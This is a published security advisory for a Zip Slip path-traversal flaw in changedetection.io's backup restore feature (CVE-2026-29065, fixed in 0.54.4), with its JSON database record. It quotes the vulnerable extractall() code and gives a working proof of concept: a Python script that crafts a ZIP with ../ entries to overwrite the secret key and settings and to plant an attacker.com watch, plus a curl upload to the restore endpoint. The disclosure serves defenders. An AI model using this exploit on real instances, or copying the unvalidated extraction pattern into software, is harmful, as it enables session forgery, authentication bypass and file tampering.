GHSA-25G8-2MCF-FCX9

Vulnerability from github – Published: 2026-03-04 21:28 – Updated: 2026-03-06 21:57
VLAI?
Summary
changedetection.io has Zip Slip vulnerability in the backup restore functionality
Details

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")

    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))

    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

curl -X POST "http://target:5000/backups/restore/start" \ -F "zip_file=@zipslip.zip" \ -F "include_watches=y" \ -F "include_settings=y"

Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:28:42Z",
    "nvd_published_at": "2026-03-06T07:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, \u0027r\u0027) as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"\ud83d\udd34 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" /\u003e",
  "id": "GHSA-25g8-2mcf-fcx9",
  "modified": "2026-03-06T21:57:22Z",
  "published": "2026-03-04T21:28:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "changedetection.io has Zip Slip vulnerability in the backup restore functionality"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…